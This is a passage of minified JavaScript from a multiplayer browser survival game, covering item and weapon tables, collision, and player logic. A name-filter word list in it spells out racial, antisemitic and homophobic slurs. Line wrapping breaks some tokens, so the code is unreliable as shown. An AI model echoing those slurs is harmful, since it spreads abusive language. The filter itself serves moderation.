t.addEventListener("touchend", e.exports.checkTrusted(s), !1),
t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1),
t.addEventListener("touchleave", e.exports.checkTrusted(s), !1)
}
,
e.exports.removeAllChildren = function(e) {
for (; e.hasChildNodes(); )
e.removeChild(e.lastChild)
}
,
e.exports.generateElement = function(t) {
var n = document.createElement(t.tag || "div");
function i(e, i) {
t[e] && (n[i] = t[e])
}
for (var r in i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t) {
switch (r) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
n[r] = t[r]
}
if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)),
n.onmouseover && (n.onmouseover = e.exports.checkTrusted(n.onmouseover)),
n.onmouseout && (n.onmouseout = e.exports.checkTrusted(n.onmouseout)),
t.style && (n.style.cssText = t.style),
t.hookTouch && e.exports.hookTouchEvents(n),
t.parent && t.parent.appendChild(n),
t.children)
for (var s = 0; s < t.children.length; s++)
n.appendChild(t.children[s]);
return n
}
,
e.exports.eventIsTrusted = function(e) {
return !e || "boolean" != typeof e.isTrusted || e.isTrusted
}
,
e.exports.checkTrusted = function(t) {
return function(n) {
n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
}
}
,
e.exports.randomString = function(e) {
for (var t = "", n =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i+
+)
t += n.charAt(Math.floor(Math.random() * n.length));
return t
}
,
e.exports.countInArray = function(e, t) {
for (var n = 0, i = 0; i < e.length; i++)
e[i] === t && n++;
return n
}
}
, function(e, t) {
e.exports.AnimText = function() {
this.init = function(e, t, n, i, r, s, a) {
this.x = e,
this.y = t,
this.color = a,
this.scale = n,
this.startScale = this.scale,
this.maxScale = 1.5 * n,
this.scaleSpeed = .7,
this.speed = i,
this.life = r,
this.text = s
}
,
this.update = function(e) {
this.life && (this.life -= e,
this.y -= this.speed * e,
this.scale += this.scaleSpeed * e,
this.scale >= this.maxScale ? (this.scale = this.maxScale,
this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale =
this.startScale,
this.scaleSpeed = 0),
this.life <= 0 && (this.life = 0))
}
,
this.render = function(e, t, n) {
e.fillStyle = this.color,
e.font = this.scale + "px Hammersmith One",
e.fillText(this.text, this.x - t, this.y - n)
}
}
,
e.exports.TextManager = function() {
this.texts = [],
this.update = function(e, t, n, i) {
t.textBaseline = "middle",
t.textAlign = "center";
for (var r = 0; r < this.texts.length; ++r)
this.texts[r].life && (this.texts[r].update(e),
this.texts[r].render(t, n, i))
}
,
this.showText = function(t, n, i, r, s, a, o) {
for (var c, l = 0; l < this.texts.length; ++l)
if (!this.texts[l].life) {
c = this.texts[l];
break
}
c || (c = new e.exports.AnimText,
this.texts.push(c)),
c.init(t, n, i, r, s, a, o)
}
}
}
, function(e, t) {
e.exports = function(e) {
this.sid = e,
this.init = function(e, t, n, i, r, s, a) {
s = s || {},
this.sentTo = {},
this.gridLocations = [],
this.active = !0,
this.doUpdate = s.doUpdate,
this.x = e,
this.y = t,
this.dir = n,
this.xWiggle = 0,
this.yWiggle = 0,
this.scale = i,
this.type = r,
this.id = s.id,
this.owner = a,
this.name = s.name,
this.isItem = null != this.id,
this.group = s.group,
this.health = s.health,
this.layer = 2,
null != this.group ? this.layer = this.group.layer : 0 == this.type ?
this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer =
-1),
this.colDiv = s.colDiv || 1,
this.blocker = s.blocker,
this.ignoreCollision = s.ignoreCollision,
this.dontGather = s.dontGather,
this.hideFromEnemy = s.hideFromEnemy,
this.friction = s.friction,
this.projDmg = s.projDmg,
this.dmg = s.dmg,
this.pDmg = s.pDmg,
this.pps = s.pps,
this.zIndex = s.zIndex || 0,
this.turnSpeed = s.turnSpeed,
this.req = s.req,
this.trap = s.trap,
this.healCol = s.healCol,
this.teleport = s.teleport,
this.boostSpeed = s.boostSpeed,
this.projectile = s.projectile,
this.shootRange = s.shootRange,
this.shootRate = s.shootRate,
this.shootCount = this.shootRate,
this.spawnPoint = s.spawnPoint
}
,
this.changeHealth = function(e, t) {
return this.health += e,
this.health <= 0
}
,
this.getScale = function(e, t) {
return e = e || 1,
this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 ==
this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
}
,
this.visibleToPlayer = function(e) {
return !this.hideFromEnemy || this.owner && (this.owner == e ||
this.owner.team && e.team == this.owner.team)
}
,
this.update = function(e) {
this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)),
this.yWiggle && (this.yWiggle *= Math.pow(.99, e)),
this.turnSpeed && (this.dir += this.turnSpeed * e))
}
}
}
, function(e, t) {
e.exports.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
t.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
t.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
e.exports.list = [{
group: e.exports.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function(e) {
return e.changeHealth(20, e)
},
scale: 22,
holdOffset: 15
}, {
age: 3,
group: e.exports.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function(e) {
return e.changeHealth(40, e)
},
scale: 27,
holdOffset: 15
}, {
age: 7,
group: e.exports.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function(e) {
return !!(e.changeHealth(30, e) || e.health < 100) &&
(e.dmgOverTime.dmg = -10,
e.dmgOverTime.doer = e,
e.dmgOverTime.time = 5,
!0)
},
scale: 27,
holdOffset: 15
}, {
group: e.exports.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: e.exports.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: e.exports.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: e.exports.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: e.exports.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: .0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: .0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
group: e.exports.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: .005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: e.exports.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: e.exports.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: e.exports.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[13],
name: "teleporter",
desc: "teleports you to a random point on the map",
req: ["wood", 60, "stone", 60],
ignoreCollision: !0,
teleport: !0,
health: 200,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}];
for (var n = 0; n < e.exports.list.length; ++n)
e.exports.list[n].id = n,
e.exports.list[n].pre && (e.exports.list[n].pre = n -
e.exports.list[n].pre)
}
, function(e, t) {
e.exports = {}
}
, function(e, t) {
var n = Math.floor
, i = Math.abs
, r = Math.cos
, s = Math.sin
, a = (Math.pow,
Math.sqrt);
e.exports = function(e, t, o, c, l, h) {
var u, f;
this.objects = t,
this.grids = {},
this.updateObjects = [];
var d = c.mapScale / c.colGrid;
this.setObjectGrids = function(e) {
for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n =
Math.min(c.mapScale, Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
u = i * d;
for (var r = 0; r < c.colGrid; ++r)
f = r * d,
t + e.scale >= u && t - e.scale <= u + d && n + e.scale >= f &&
n - e.scale <= f + d && (this.grids[i + "_" + r] || (this.grids[i + "_" + r] = []),
this.grids[i + "_" + r].push(e),
e.gridLocations.push(i + "_" + r))
}
}
,
this.removeObjGrid = function(e) {
for (var t, n = 0; n < e.gridLocations.length; ++n)
(t = this.grids[e.gridLocations[n]].indexOf(e)) >= 0 &&
this.grids[e.gridLocations[n]].splice(t, 1)
}
,
this.disableObj = function(e) {
if (e.active = !1,
h) {
e.owner && e.pps && (e.owner.pps -= e.pps),
this.removeObjGrid(e);
var t = this.updateObjects.indexOf(e);
t >= 0 && this.updateObjects.splice(t, 1)
}
}
,
this.hitObj = function(e, t) {
for (var n = 0; n < l.length; ++n)
l[n].active && (e.sentTo[l[n].id] && (e.active ? l[n].canSee(e) &&
h.send(l[n].id, "8", o.fixTo(t, 1), e.sid) : h.send(l[n].id, "12", e.sid)),
e.active || e.owner != l[n] || l[n].changeItemCount(e.group.id,
-1))
}
;
var p, g, m = [];
this.getGridArrays = function(e, t, i) {
u = n(e / d),
f = n(t / d),
m.length = 0;
try {
this.grids[u + "_" + f] && m.push(this.grids[u + "_" + f]),
e + i >= (u + 1) * d && ((p = this.grids[u + 1 + "_" + f]) &&
m.push(p),
f && t - i <= f * d ? (p = this.grids[u + 1 + "_" + (f - 1)]) &&
m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u + 1 + "_" + (f + 1)]) &&
m.push(p)),
u && e - i <= u * d && ((p = this.grids[u - 1 + "_" + f]) &&
m.push(p),
f && t - i <= f * d ? (p = this.grids[u - 1 + "_" + (f - 1)]) &&
m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u - 1 + "_" + (f + 1)]) &&
m.push(p)),
t + i >= (f + 1) * d && (p = this.grids[u + "_" + (f + 1)]) &&
m.push(p),
f && t - i <= f * d && (p = this.grids[u + "_" + (f - 1)]) &&
m.push(p)
} catch (e) {}
return m
}
,
this.add = function(n, i, r, s, a, o, c, l, u) {
g = null;
for (var f = 0; f < t.length; ++f)
if (t[f].sid == n) {
g = t[f];
break
}
if (!g)
for (f = 0; f < t.length; ++f)
if (!t[f].active) {
g = t[f];
break
}
g || (g = new e(n),
t.push(g)),
l && (g.sid = n),
g.init(i, r, s, a, o, c, u),
h && (this.setObjectGrids(g),
g.doUpdate && this.updateObjects.push(g))
}
,
this.disableBySid = function(e) {
for (var n = 0; n < t.length; ++n)
if (t[n].sid == e) {
this.disableObj(t[n]);
break
}
}
,
this.removeAllItems = function(e, n) {
for (var i = 0; i < t.length; ++i)
t[i].active && t[i].owner && t[i].owner.sid == e &&
this.disableObj(t[i]);
n && n.broadcast("13", e)
}
,
this.fetchSpawnObj = function(e) {
for (var n = null, i = 0; i < t.length; ++i)
if ((g = t[i]).active && g.owner && g.owner.sid == e &&
g.spawnPoint) {
n = [g.x, g.y],
this.disableObj(g),
h.broadcast("12", g.sid),
g.owner && g.owner.changeItemCount(g.group.id, -1);
break
}
return n
}
,
this.checkItemLocation = function(e, n, i, r, s, a, l) {
for (var h = 0; h < t.length; ++h) {
var u = t[h].blocker ? t[h].blocker : t[h].getScale(r,
t[h].isItem);
if (t[h].active && o.getDistance(e, n, t[h].x, t[h].y) < i + u)
return !1
}
return !(!a && 18 != s && n >= c.mapScale / 2 - c.riverWidth / 2 && n
<= c.mapScale / 2 + c.riverWidth / 2)
}
,
this.addProjectile = function(e, t, n, i, r) {
for (var s, a = items.projectiles[r], c = 0; c < projectiles.length; +
+c)
if (!projectiles[c].active) {
s = projectiles[c];
break
}
s || (s = new Projectile(l,o),
projectiles.push(s)),
s.init(r, e, t, n, a.speed, i, a.scale)
}
,
this.checkCollision = function(e, t, n) {
n = n || 1;
var l = e.x - t.x
, h = e.y - t.y
, u = e.scale + t.scale;
if (i(l) <= u || i(h) <= u) {
u = e.scale + (t.getScale ? t.getScale() : t.scale);
var f = a(l * l + h * h) - u;
if (f <= 0) {
if (t.ignoreCollision)
!t.trap || e.noTrap || t.owner == e || t.owner &&
t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n * t.boostSpeed
* (t.weightM || 1) * r(t.dir),
e.yVel += n * t.boostSpeed * (t.weightM || 1) * s(t.dir)) :
t.healCol ? e.healCol = t.healCol : t.teleport && (e.x = o.randInt(0, c.mapScale),
e.y = o.randInt(0, c.mapScale)) : (e.lockMove = !0,
t.hideFromEnemy = !1);
else {
var d = o.getDirection(e.x, e.y, t.x, t.y);
if (o.getDistance(e.x, e.y, t.x, t.y),
t.isPlayer ? (f = -1 * f / 2,
e.x += f * r(d),
e.y += f * s(d),
t.x -= f * r(d),
t.y -= f * s(d)) : (e.x = t.x + u * r(d),
e.y = t.y + u * s(d),
e.xVel *= .75,
e.yVel *= .75),
t.dmg && t.owner != e && (!t.owner || !t.owner.team ||
t.owner.team != e.team)) {
e.changeHealth(-t.dmg, t.owner, t);
var p = 1.5 * (t.weightM || 1);
e.xVel += p * r(d),
e.yVel += p * s(d),
!t.pDmg || e.skin && e.skin.poisonRes ||
(e.dmgOverTime.dmg = t.pDmg,
e.dmgOverTime.time = 5,
e.dmgOverTime.doer = t.owner),
e.colDmg && t.health && (t.changeHealth(-e.colDmg) &&
this.disableObj(t),
this.hitObj(t, o.getDirection(e.x, e.y, t.x, t.y)))
}
}
return t.zIndex > e.zIndex && (e.zIndex = t.zIndex),
!0
}
}
return !1
}
}
}
, function(e, t, n) {
var i = new (n(49));
i.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump",
"clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch", "poo",
"kids", "rape", "white power", "nigga", "nig nog", "doggy", "rapist", "boner",
"nigger", "nigg", "finger", "nogger", "nagger", "nig", "fag", "gai", "pole",
"stripper", "penis", "vagina", "pussy", "nazi", "hitler", "stalin", "burn",
"chamber", "cock", "peen", "dick", "spick", "nieger", "die", "satan", "n|ig",
"nlg", "cunt", "c0ck", "fag", "lick", "condom", "anal", "shit", "phile", "little",
"kids", "free KR", "tiny", "sidney", "ass", "kill", ".io", "(dot)", "[dot]",
"mini", "whiore", "whore", "faggot", "github", "1337", "666", "satan", "senpa",
"discord", "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio",
"vries", "asa");
var r = Math.abs
, s = Math.cos
, a = Math.sin
, o = Math.pow
, c = Math.sqrt;
e.exports = function(e, t, n, l, h, u, f, d, p, g, m, y, k, v) {
this.id = e,
this.sid = t,
this.tmpScore = 0,
this.team = null,
this.skinIndex = 0,
this.tailIndex = 0,
this.hitTime = 0,
this.tails = {};
for (var w = 0; w < m.length; ++w)
m[w].price <= 0 && (this.tails[m[w].id] = 1);
for (this.skins = {},
w = 0; w < g.length; ++w)
g[w].price <= 0 && (this.skins[g[w].id] = 1);
this.points = 0,
this.dt = 0,
this.hidden = !1,
this.itemCounts = {},
this.isPlayer = !0,
this.pps = 0,
this.moveDir = void 0,
this.skinRot = 0,
this.lastPing = 0,
this.iconIndex = 0,
this.skinColor = 0,
this.spawn = function(e) {
this.active = !0,
this.alive = !0,
this.lockMove = !1,
this.lockDir = !1,
this.minimapCounter = 0,
this.chatCountdown = 0,
this.shameCount = 0,
this.shameTimer = 0,
this.sentTo = {},
this.gathering = 0,
this.autoGather = 0,
this.animTime = 0,
this.animSpeed = 0,
this.mouseState = 0,
this.buildIndex = -1,
this.weaponIndex = 0,
this.dmgOverTime = {},
this.noMovTimer = 0,
this.maxXP = 300,
this.XP = 0,
this.age = 1,
this.kills = 0,
this.upgrAge = 2,
this.upgradePoints = 0,
this.x = 0,
this.y = 0,
this.zIndex = 0,
this.xVel = 0,
this.yVel = 0,
this.slowMult = 1,
this.dir = 0,
this.dirPlus = 0,
this.targetDir = 0,
this.targetAngle = 0,
this.maxHealth = 100,
this.health = this.maxHealth,
this.scale = n.playerScale,
this.speed = n.playerSpeed,
this.resetMoveDir(),
this.resetResources(e),
this.items = [0, 3, 6, 10],
this.weapons = [0],
this.shootCount = 0,
this.weaponXP = [],
this.reloads = {}
}
,
this.resetMoveDir = function() {
this.moveDir = void 0
}
,
this.resetResources = function(e) {
for (var t = 0; t < n.resourceTypes.length; ++t)
this[n.resourceTypes[t]] = e ? 100 : 0
}
,
this.addItem = function(e) {
var t = p.list[e];
if (t) {
for (var n = 0; n < this.items.length; ++n)
if (p.list[this.items[n]].group == t.group)
return this.buildIndex == this.items[n] && (this.buildIndex
= e),
this.items[n] = e,
!0;
return this.items.push(e),
!0
}
return !1
}
,
this.setUserData = function(e) {
if (e) {
this.name = "unknown";
var t = e.name + ""
, r = !1
, s = (t = (t = (t = (t = t.slice(0,
n.maxNameLength)).replace(/[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, "
")).trim()).toLowerCase().replace(/\s/g, "").replace(/1/g, "i").replace(/0/g,
"o").replace(/5/g, "s");
for (var a of i.list)
if (-1 != s.indexOf(a)) {
r = !0;
break
}
t.length > 0 && !r && (this.name = t),
this.skinColor = 0,
n.skinColors[e.skin] && (this.skinColor = e.skin)
}
}
,
this.getData = function() {
return [this.id, this.sid, this.name, l.fixTo(this.x, 2),
l.fixTo(this.y, 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale,
this.skinColor]
}
,
this.setData = function(e) {
this.id = e[0],
this.sid = e[1],
this.name = e[2],
this.x = e[3],
this.y = e[4],
this.dir = e[5],
this.health = e[6],
this.maxHealth = e[7],
this.scale = e[8],
this.skinColor = e[9]
}
;
var b = 0;
this.update = function(e) {
if (this.alive) {
if (this.shameTimer > 0 && (this.shameTimer -= e,
this.shameTimer <= 0 && (this.shameTimer = 0,
this.shameCount = 0)),
(b -= e) <= 0) {
var t = (this.skin && this.skin.healthRegen ?
this.skin.healthRegen : 0) + (this.tail && this.tail.healthRegen ?
this.tail.healthRegen : 0);
t && this.changeHealth(t, this),
this.dmgOverTime.dmg && (this.changeHealth(-
this.dmgOverTime.dmg, this.dmgOverTime.doer),
this.dmgOverTime.time -= 1,
this.dmgOverTime.time <= 0 && (this.dmgOverTime.dmg = 0)),
this.healCol && this.changeHealth(this.healCol, this),
b = 1e3
}
if (this.alive) {
if (this.slowMult < 1 && (this.slowMult += 8e-4 * e,
this.slowMult > 1 && (this.slowMult = 1)),
this.noMovTimer += e,
(this.xVel || this.yVel) && (this.noMovTimer = 0),
this.lockMove)
this.xVel = 0,
this.yVel = 0;
else {
var i = (this.buildIndex >= 0 ? .5 : 1) *
(p.weapons[this.weaponIndex].spdMult || 1) * (this.skin && this.skin.spdMult || 1)
* (this.tail && this.tail.spdMult || 1) * (this.y <= n.snowBiomeTop ? this.skin &&
this.skin.coldM ? 1 : n.snowSpeed : 1) * this.slowMult;
!this.zIndex && this.y >= n.mapScale / 2 - n.riverWidth / 2
&& this.y <= n.mapScale / 2 + n.riverWidth / 2 && (this.skin && this.skin.watrImm ?
(i *= .75,
this.xVel += .4 * n.waterCurrent * e) : (i *= .33,
this.xVel += n.waterCurrent * e));
var r = null != this.moveDir ? s(this.moveDir) : 0
, d = null != this.moveDir ? a(this.moveDir) : 0
, g = c(r * r + d * d);
0 != g && (r /= g,
d /= g),
r && (this.xVel += r * this.speed * i * e),
d && (this.yVel += d * this.speed * i * e)
}
var m;
this.zIndex = 0,
this.lockMove = !1,
this.healCol = 0;
for (var y = l.getDistance(0, 0, this.xVel * e, this.yVel * e),
k = Math.min(4, Math.max(1, Math.round(y / 40))), v = 1 / k, w = 0; w < k; ++w) {
this.xVel && (this.x += this.xVel * e * v),
this.yVel && (this.y += this.yVel * e * v),
m = u.getGridArrays(this.x, this.y, this.scale);
for (var x = 0; x < m.length; ++x)
for (var S = 0; S < m[x].length; ++S)
m[x][S].active && u.checkCollision(this, m[x][S],
v)
}
for (w = (I = f.indexOf(this)) + 1; w < f.length; ++w)
f[w] != this && f[w].alive && u.checkCollision(this, f[w]);
if (this.xVel && (this.xVel *= o(n.playerDecel, e),
this.xVel <= .01 && this.xVel >= -.01 && (this.xVel = 0)),
this.yVel && (this.yVel *= o(n.playerDecel, e),
this.yVel <= .01 && this.yVel >= -.01 && (this.yVel = 0)),
this.x - this.scale < 0 ? this.x = this.scale : this.x +
this.scale > n.mapScale && (this.x = n.mapScale - this.scale),
this.y - this.scale < 0 ? this.y = this.scale : this.y +
this.scale > n.mapScale && (this.y = n.mapScale - this.scale),
this.buildIndex < 0)
if (this.reloads[this.weaponIndex] > 0)
this.reloads[this.weaponIndex] -= e,
this.gathering = this.mouseState;
else if (this.gathering || this.autoGather) {
var T = !0;
if (null != p.weapons[this.weaponIndex].gather)
this.gather(f);
else if (null != p.weapons[this.weaponIndex].projectile
&& this.hasRes(p.weapons[this.weaponIndex], this.skin ? this.skin.projCost : 0)) {
this.useRes(p.weapons[this.weaponIndex],
this.skin ? this.skin.projCost : 0),
this.noMovTimer = 0;
var I = p.weapons[this.weaponIndex].projectile
, E = 2 * this.scale
